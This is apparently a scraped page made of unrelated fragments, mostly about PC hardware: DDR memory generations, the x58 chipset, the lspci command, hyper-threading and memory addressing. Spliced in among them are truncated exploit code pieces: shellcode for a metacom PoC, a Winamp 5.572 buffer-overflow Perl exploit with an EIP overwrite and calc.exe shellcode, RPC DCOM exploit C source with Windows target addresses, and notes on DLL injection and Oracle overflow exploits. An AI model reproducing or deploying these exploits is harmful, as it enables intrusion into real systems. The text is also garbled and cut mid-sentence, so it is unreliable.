x58 chipset

gaps, single-side 84-pin, double-side 168-pin, voltage 3.3 V, memory rectangular (obsolete ). 2. ddr1 (First Generation) one notch, single side 92 pins, double side 184 pins, voltage 2.5 V, memory particle rectangular operating frequency 266,333,400. 3. DDR2 (second generation) one notch, single side 120 pins, double side 240 pins, voltage 1.8 V, memory particle square operating frequency 533,667,800. 4. ddr3 (Third Generation) one notch, single side 120 pins, double side 240 pins, voltage 1.5

The Phoronix website recently conducted a comparative test on Windows7 and Ubuntu11.04 systems. However, it does not look at who runs fast, but who consumes more power. The system used for the test is Windows 7sp164 Professional Edition and Ubuntu11.0464. The test hardware platform has four sets-Lenovo ThinkPadT61 notebook: Core2DuoT9300Penryn dual-core processor, PM965 + ICH8 The Phoronix website recently conducted a comparative test on Windows 7 and Ubuntu 11.04 systems. However, it does not l

: metacom# Version: version 0.8.18# Category: poc# Tested on: windows 7 GermanBeginShellcode ="\ X89 \ xe0 \ xdb \ xc8 \ xd9 \ xf4 \ x5b \ x53 \ x59 \ x49 \ x49 \ x49 \ x49 \ x49" +"\ X43 \ x43 \ x43 \ x43 \ x43 \ x43 \ x51 \ x5a \ x56 \ x54 \ x58 \ x33 \ x30 \ x56" +"\ X58 \ x34 \ x41 \ x50 \ x30 \ x41 \ x33 \ x48 \ x48 \ x30 \ x41 \ x30 \ x30 \ x30 \ x41" +"\ X42 \ x41 \ x41 \ x42 \ x54 \ x41 \ x41 \ x51

introduce common parameters. The default output of the command is all PCI/PCI-E devices for the current system. [Root@localhost ~]# Lspci 00:00.0 Host Bridge:intel Corporation 5500 I/O Hub to ESI Port (Rev. 13) 00:01.0 PCI Bridge:intel Corporation 5520/5500/x58 I/o Hub pci Express Root Port 1 (Rev. 13) 00:03.0 PCI Bridge:intel Corporation 5520/5500/x58 I/o Hub PCI Express Root Port 3 (Rev. 13) 00:07.0 PCI

Windows Task Manager with two or more CPU usage records, but it is still essentially 1/2 hard core (current CPU, such as 4-core, if hyper-Threading Technology is supported, eight cpu records are displayed, and so on ). Intel started to launch hyper-threading CPU technology, which seems to be quite good, But Intel once stopped the application of this hyper-Threading Technology due to early hardware design, driver, and operating system support problems. But later, because the technology was matur

chipset (MCH) Intel x58 Intel 5400 North Bridge Chip features Intel VT-D Technology 24 MB Snoop Filter Memory Controller Built-in three-channel ddr3 Processor North Bridge integrated four-channel FB-DDR2 Memory 1 GB ddr3 1066 SDRAM X3 2 GB FB-DDR2 667 SDRAM X4 System Disk Subsystem Disk Controller Lsi sas 3041e-r LSI sas1068e Contro

motherboard (1) Check the motherboard packing box or motherboard manual. (2) press the pause key (pause break) to copy the number at the bottom of the screen. The front of the numbers is displayed. Date. Don't worry about him. The information displayed in the last row of numbers containing letters is the motherboard model, including the manufacturer and Motherboard chipset.(3) Use test software such as Everest Some testing software can measure variou

"; #Overwrite eip-070e86ad FFD4 call ESP nde.dllmy $nop="\x90"X -; my $shellcode=#windows/exec Cmd=calc.exe"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49"."\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x48\x5a\x6a\x47"."\x58\x30\x42\x31\x50\x42\x41\x6b\x42\x41\x57\x42\x32\x42\x41\x32"."\x41\x41\x30\x41\x41\x58\x50\x38\x42\x42\x75\x78\x69\x6b\x4c\x6a"."\x48\x53\x74\x67\x70\x67\x70\x75\x

person to debug, to find out how this TXT file exploits the principle. Exploit Code AnalysisNow that we have triggered the vulnerability, we can further analyze the cause of the vulnerability. Take a look at its POC code, which is written in the Perl language:My $version = "Winamp 5.572"; My $junk = "\x41" x 540; My $eip = "\xad\x86\x0e\x07"; # overwrite EIP-070E86AD FFD4 call ESP nde.dll my $nop = "\x90" x 100; My $shellcode = # windows/exec Cmd=calc.exe "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xf

\ x6a \ x4a "" \ x58 \ x30 \ x42 \ x30 \ x50 \ x41 \ x6b \ x41 \ x41 \ x5a \ x42 \ x32 \ x41 \ x42 \ x32 \ x42 "" \ x41 \ x41 \ x30 \ x42 \ x41 \ x58 \ x50 \ x38 \ x41 \ x42 \ x75 \ x7a \ x49 \ x79 \ x6c \ x69 "" \ x78 \ x51 \ x54 \ x57 \ cross 7 \ x43 \ x30 \ x63 \ x30 \ x4c \ x4b \ x67 \ x35 \ x45 \ x6c \ x6e "" \ x6b \ x71 \ x6c \ x66 \ x65 \ x43 \ x48 \ x55 \ x51 \ x5a \ x4f \ x4e \ x6b \ x4f \ x42 "\

Downloaded from GitHub Reflectiverloader seriously learned a bit in the code to get some ideas and their thoughts, all follow the steps written in the code, and now share to everyone, such as wrong, hope everyone correctWhich need to inject the DLL and parse, the memory RVA and the file RVA conversion code (compiled with C + +) and parsing, shellcode assembly attached to the linkIt's a shellocode.function: After debugging, he is to solve the problem of running x64 under x86 (WinDbg can see that

exploits Oracle's operating system to invade Oracle "src=" http://s13.sinaimg.cn/ mw690/001t9c8mzy6qaz5vn9i2c690 "/>2. Create buffer overflow sploit (build exploit buffer), first give the overall structure of the manufacturing buffer overflow: shellcode script + random address + short Springboard + return address + long springboard. The following lines are described below:First line: Sploit = payload.encodedDeposit Shellcode. The function of this shellcode is to get the operating system permiss

Article Title: RouterOS2.8 hardware driver list (1 ). Linux is a technology channel of the IT lab in China. Includes basic categories such as desktop applications, Linux system management, kernel research, embedded systems, and open source. Device Driver List Document revision: 2.8 (Wed Oct 13 11:39:39 GMT 2004) Applies: MikroTik RouterOS V2.8 General Information Summary The document lists the drivers, included in MikroTik RouterOS and the devices that are tested to

x, 0 x, 0 x, 0 x, 0 x, 0 x, 0 x, 0 x, 0 x, 0 x, 0 x, 0 x, 0 x, 0 x, 0 x, 0 x, 0 x, 0 x, 0 x, 0 x, 0x00, 0x2E, 0x00,0x64,0x00, 0x6F, 0x00,0x63,0x00,0x00,0x00 };/* End xfocus */ Int type = 0;Struct{Char * OS;U_long ret;}Targets [] ={{"[Win2k-Universal]", 0x0018759F },{"[WinXP-Universal]", 0x0100139d },}, V; Void usage (char * prog){Int I;Printf ("rpc dcom exploit coded by.: [oc192.us]:. Security \ n ");Printf ("Usage: \ n ");Printf ("% s-d [options] \ n", prog );Printf ("Options: \ n ");Printf ("

, 0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00 , 0x2e,0x00,0x64,0x00,0x6f,0x00,0x63,0x00,0x00,0x00}; /* End Xfocus * * int type=0; struct { Char *os; U_long ret; } Targets[] = { {"[Win2k-universal]", 0x0018759f}, {"[Winxp-universal]", 0x0100139d}, }, V; void usage (char *prog) { int i; printf ("RPC DCOM exploit coded by.: [Oc192.us]:. Security\n "); printf ("usage:\n\n"); printf ("%s-d [options]\n", prog); printf ("options:\n"); printf ("-d:hostname to att

The same thing that I see is the case of the RAID card LSPCI stands for list PCI. Think of this command as "LS" + "PCI". This would display information about all the PCI bus in your server. Apart from displaying information about the bus, it'll also display information about all the hardware devices Connected to your PCI and PCIe bus. For example, it would display information about Ethernet cards, RAID controllers, Video cards, etc.Lspci utility is part of the Pciutils package. If you don't ha

Lspci-list all PCI devices Popularization of pci: PCI (Peripheral Component Interconnect) is a bus standard that connects the motherboard of an electronic computer and external devices. Common PCI cards include NICs, sound cards, modem, TV cards, and disk controllers, as well as USB and serial ports. The original video card is usually a PCI device, but soon its bandwidth is insufficient to support the performance of the video card. PCI graphics cards are currently only used when an additional ex

encoding is the "Addressing" process-assigning an address number to a storage unit is designed to help you find it and read and write data. This is "Addressing ", this address space is sometimes called an addressing space ". The system not only needs to address the memory on the motherboard, but also to address the above physical memory. They are all stored in the same address space, the physical memory after the addressing can be used or occupied by system resources. From the Pentium Pro proce

space ". The system not only needs to address the memory on the motherboard, but also to address the above physical memory. They are all stored in the same address space, the physical memory after the addressing can be used or occupied by system resources. % Starting from the Pentium Pro processor, the CPU address bus has been upgraded to 36-bit and the addressing capability has reached 64 GB. It is reasonable to say that the CPU supports 4 GB of memory. Therefore, the number of

Recently, I have found an interesting phenomenon in various major markets. All the users who come to the Computer City to crash, whether beginners, game players or masters, chose intel p4c series processor (supporting hyper-threading) and the i865 chipset (supporting dual-channel memory technology) motherboard, it seems that the selection of P4 with hyper-Threading Technology and supporting dual-channel chipset